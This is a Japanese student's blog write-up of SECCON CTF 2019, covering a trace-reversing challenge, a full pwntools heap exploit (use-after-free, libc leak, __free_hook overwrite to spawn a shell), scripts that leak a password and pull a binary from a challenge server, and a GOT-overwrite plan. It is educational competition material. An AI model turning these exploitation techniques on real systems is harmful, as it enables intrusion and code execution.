newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 11.0】 SECCON CTF 2019

 

 

 

 

1: イントロ

いつぞや行われたSECCON CTF 2019にnewbie2人チームsmallkirby(@python_kirby / @mivjdu)で一応参加した

 

結果はボロボロだったが教訓として

・変に意気込んじゃだめ。普通に寝たほうがいい

・まずは問題を全体的に簡単に見ていったほうがいい

・機械音痴のアナログ人間のため手動で頑張ろうとするが、自動化できるところは全部自動化するべき。特にrevのcalcで何故か最初手動で頑張ってしまった

・相談できる人がいたほうがいい。メチャメチャ簡単な問題でも自分の中での勝手な思い込みで詰まってしまうことがあるから、そんなときワイワイできる相手がいるといい。今回は寝たら解決したが

・not strippedな問題が多くてこの業界に良い人もいるんだと思った

精進が圧倒的に足りない

ということを再認識した

 

 

いまめちゃくちゃ眠いため簡単な覚書だけ書き連ねておいて後で清書する





2: Welcome / Thank you for playing

無料でフラグをくれる運営に感謝の気持を忘れないようにここで3時間位祈祷するのがCTFerの嗜み

"どんなnewbieチームでも0点では帰らせない"という慈悲の心

自分もnewbieながら先例に倣い、5時間半感謝の祈祷をした





3: calc

逆ポーランド記法で整数計算を行うプログラムcalcと

それをある入力式で実行した際のIntelPinでのトレース結果が渡されて、入力式を復元する問題

 

以前Malware解析をしようとしたときにPinは使ったことがあったから環境準備は割とスムーズにいった

 

Ghidraのベースアドレスをトレースの情報をもとにセットして

各branchが何を表すのかをデコンパイルコードと見比べてメモをする

0x55f6b4d44db4: 2		"M"チェック!!
0x55f6b4d446a5: 1		(終了処理 いらない)
0x55f6b4d44c13: 18		(push_stackしたあとl40_ptrをインクリメントするとこへ飛ぶ)
0x55f6b4d44f64: 1		(開始処理 いらない)
0x55f6b4d44d54: 1		(*フラグ立てた後)
0x55f6b4d445de: 1		(開始処理 いらない)
0x55f6b4d44ca6: 2		(+フラグ立てた後)
0x55f6b4d44cfd: 5		(-フラグ立てた後)
0x55f6b4d44a0b: 3		sum()でwhileに入る!!
0x55f6b4d44727: 1		(終了処理 いらない)
0x55f6b4d44be9: 90		","かどうかで分岐!!!!!
0x55f6b4d44e02: 2		"M"のあと
0x55f6b4d44765: 1		(開始処理 いらない)
0x55f6b4d4493e: 35		push_stackの最初のfullチェック!!!
0x55f6b4d44d06: 10		"*"分岐!!!!
0x55f6b4d44c22: 64		"9"より大きいかチェック!!!
0x55f6b4d44caf: 15		"-"分岐!!!
0x55f6b4d446f6: 1		(開始処理)
0x55f6b4d44e87: 91		NULLチェック!!!
0x55f6b4d44a1f: 20		sum()の中でのwhile endチェック!!!
0x55f6b4d44eae: 1		(mainの引数チェック)
0x55f6b4d44c1c: 72		"1"より大きいかチェック!!
0x55f6b4d44dab: 7		"m"のあと
0x55f6b4d44a5b: 1		kakeru()のwhileチェック
0x55f6b4d44d5d: 9		"m"分岐!!!
0x55f6b4d44735: 1		(終了処理)
0x55f6b4d44650: 1		(終了処理)
0x55f6b4d44bd6: 1		(main最初の処理)
0x55f6b4d44c4f: 55		数字だったからなんの処理も行わなかったジャンプ
0x55f6b4d44bef: 18		l2c_numflagチェック
0x55f6b4d44c58: 17		"+"分岐
0x55f6b4d44a81: 2		kakeru()のwhile終了ループ
0x55f6b4d44f44: 1		(開始処理)
0x55f6b4d448dc: 35		pop_stack()の最初のチェック!!	

 

そのメモをもとにトレース結果を読み込んで入力値を出力してくれるスクリプトを(@mivjduが)書いた

import sys
import json

with open(sys.argv[1]) as f:
    trace = json.load(f)

stack = []
num_flag = False

for t in trace:
    if t["event"] != "branch":
        continue
    
    inst_addr = t["inst_addr"]
    branch_taken = t["branch_taken"]

    if inst_addr == "0x55f6b4d44d06": #*
        if not branch_taken:
            stack.append("*")

    if inst_addr == "0x55f6b4d44be9": #,
        if not branch_taken:
            stack.append(",")

    if inst_addr == "0x55f6b4d44caf": #-
        if not branch_taken:
            stack.append("-")

    if inst_addr == "0x55f6b4d44c58": #+
        if not branch_taken:
            stack.append("+")

    if inst_addr == "0x55f6b4d44d5d": #m
        if not branch_taken:
            stack.append("m")

    if inst_addr == "0x55f6b4d44db4": #M
        if not branch_taken:
            stack.append("M")
    
    if inst_addr == "0x55f6b4d44c1c": # x<1
        if not branch_taken:
            num_flag = True

    if inst_addr == "0x55f6b4d44c22": # x>9
        if num_flag == False:
          print("ERROR!")
        if not branch_taken:
            stack.append("1")
            num_flag = False
        else:
            num_flag = False


print("result:")
print("".join(stack))

 

 

できあがった出力を再びPinに入れてトレース情報のdiffをとり

細かい部分を修正した

 

しかし和をとるときのwhileループの回数制御のために数値を調整する工程を何故か自動化せずに全部手動でやってしまったため異様な時間が経過してしまった

 

 

入力式は

999,100,511,111,111,1111,111,mm-mM-111,111,111,mm-119,911,130,913,300,-+-M+001,001,001,mm*

 

それを提出して得られるフラグは

SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}





3: One

メモを追加・表示・削除できるプログラムとlibcが渡される

但し一度に保持できるheapアドレスは一つのみ

UAF/double freeし放題

 

libcbaseさえ求まればなんとでもなる

小さいchunkを10個+α繋げて一つの大きなfake chunkを作り

それをfreeすることでunsortedbinを作ってheap上にmain_arena+96のアドレスを出現させる

あとはそれをleakして__free_hook overwriteで終わり

 

calcの手仕事で疲弊していた上に深夜帯ということもありこんな簡単な問題に時間をかけてしまった。。。

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./one"

rhp1 = {"host":"one.chal.seccon.jp","port":18357}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc-2.27.so")

diff_arena_printf = 0x386dc0
onegadgets = [0x4f2c5,0x4f322,0x10a38c]

def add(conn,content):
  if(len(content)>=0x40):
    print("[!]too large content")
    return
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.sendline(content)

def delete(conn):
  conn.recvuntil("> ")
  conn.sendline("3")

def show(conn):
  conn.recvuntil("> ")
  conn.sendline("2")

def exploit(conn):

  #
  small_chunks = 0x10
  size = 0x40+ 0x50*small_chunks- 0x10 #最後の0x10byteは次のchunkのヘッダをごまかすため

  add(conn,p64(0)+p64((size+0x10)|0x1) + p64(0)*2) #large fake chunk size
  for i in range(small_chunks):
    add(conn,"A"*0x30 + p64(size|0x1) + p64(0x61)[:-2])
  
  add(conn,"B"*0x30)
  delete(conn)
  delete(conn)
  delete(conn)

  #leak heap addr
  show(conn)
  data = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8])
  large_chunk_usr = data - 0x50*(small_chunks+1) + 0x10
  print("[+]data: "+hex(data))
  print("[+]large chunk usr: "+hex(large_chunk_usr))

  #make point to large chunk
  add(conn,p64(large_chunk_usr)+p64(0)*2)
  add(conn,p64(0)*2)
  add(conn,p64(0)*2) #large fake chunk

  #create unsortedbin
  delete(conn)
  
  #leak libc_base
  show(conn)
  mainarena = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8]) - 96
  print("[!]main_arena: "+hex(mainarena))
  libc_base = mainarena-diff_arena_printf-libc.functions["printf"].address
  print("[!]libc_base: "+hex(libc_base))

  #overwrite __malloc_hook
  add(conn,"D"*0x20)
  delete(conn)
  delete(conn)
  delete(conn)
  #show(conn)
  #data = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8])
  #print("[+]data: "+hex(data))
  add(conn,p64(libc_base + libc.symbols["__free_hook"])+p64(0))
  add(conn,p64(0)*2)
  add(conn,p64(libc_base + onegadgets[1]))

  #get the shell
  conn.recvuntil("> ")
  conn.sendline("3")

  return


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

それによって得られるフラグは

SECCON{4r3_y0u_u53d_70_7c4ch3?}





4: lazy

最初はブロガーのURLだけ渡されている

まずログインするためにusername/PWが必要だがusernameは日記の中に書いてある

PWは以下のスクリプトでleakする

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./lazy"

rhp1 = {"host":"lazy.chal.seccon.jp","port":33333}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
#binf = ELF(FILENAME)

def login(conn,user,pw):
  conn.recvuntil("3: Exit\n")
  conn.sendline("2")
  conn.recvuntil("username : ")
  conn.sendline(user) #need newline
  #conn.recvuntil("password : ")
  #conn.sendline(pw)

username = "_H4CK3R_"
pw = "3XPL01717"
counter = 0

def exploit(conn):
  global counter
  if counter>=100:
    return
  login(conn,""+"A"*counter,"pw")
  conn.recvuntil("\n")
  print(conn.recvline())
  counter += 1
  conn = remote(rhp1["host"],rhp1["port"])
  exploit(conn)


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

usernameは"_H4CK3R_",PWは"3XPL01717"

 

そうするとプライベートディレクトリを見れるようになりlibc.soとプログラム本体が入ってることを確認

ただしこのディレクトリ内で"."は使えない

以下のプログラムでバイナリをゲット

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys
import struct

FILENAME = "./lazy"

rhp1 = {"host":"lazy.chal.seccon.jp","port":33333}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
#binf = ELF(FILENAME)

def login(conn,user,pw):
  conn.recvuntil("3: Exit\n")
  conn.sendline("2")
  conn.recvuntil("username : ")
  conn.sendline(user) #need newline
  conn.recvuntil("password : ")
  conn.sendline(pw)

username = "_H4CK3R_"
pw = "3XPL01717"
counter = 0

def exploit(conn):
  login(conn,username,pw)
  
  conn.recvuntil("4: Manage\n")
  conn.sendline("4")
  conn.recvuntil("Input file name\n")
  conn.sendline("lazy")
  conn.recvuntil("bytes")
  binary = conn.recvrepeat()

  out = open("./lazy","w")
  out.write(binary)
  out.close()

  #login(conn,username,"A"*50)
  #login(conn,"A"*(100-5-0x10),"pw")
  #conn.recvuntil("A\n")
  #data = unpack(conn.recvline()[:-1].ljust(8,"\x00"))
  #print("[+]"+hex(data))


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

あとはバイナリを解析する





5: sum

5つの数字を入力して和を出力する

けど6つ入力できる

6つ目を書き換えたいアドレスにするとwrite-what-where

 

けどこの問題は和をメモリに書き込む際に一度0クリアしてから書き込むため、libcbaseのleakができなくて解けなかった

考えたのは

・まず6つ入力するとexitされるからexitをmainのアドレスに書き換え

・次にprintfのlibc addrを使いたいからGOTを更新するためにputsのGOTをprintfのplt+6に書き換え

・このままだとputする度にprintfのGOTが更新されるから、printfのGOTが更新されたらputsのGOTをscanfのGOTに書き換え

・printfとonagadget RCEのアドレス差をもとにしてprintfのGOTの下数nibbleだけ書き換えてonegadgetを呼び出す

 

だがprintf/onegadgetのdiffが5nibble分あり、libcbaseの下3nibbleはゼロだから0xffff通りとbrute-fourceしていいギリギリっぽかったためびびってしなかった。diffが4nibbleなら0xff回でいけたから迷わなかっただろうが。

多分もっといい解き方あるだろうし

 

solve数的にそんな難しくない気がするんだけどなぁ。。。。





【追記 20191020】

ROPをするらしい(libcじゃなくてsum本体の使うのか?)

これも含めた他のpwnの問題のwriteupも後日また解き直してアップする

 

6: アウトロ

眠い

全然解けなかった。。。。

普通にド凹み中です

精進します





続く・・・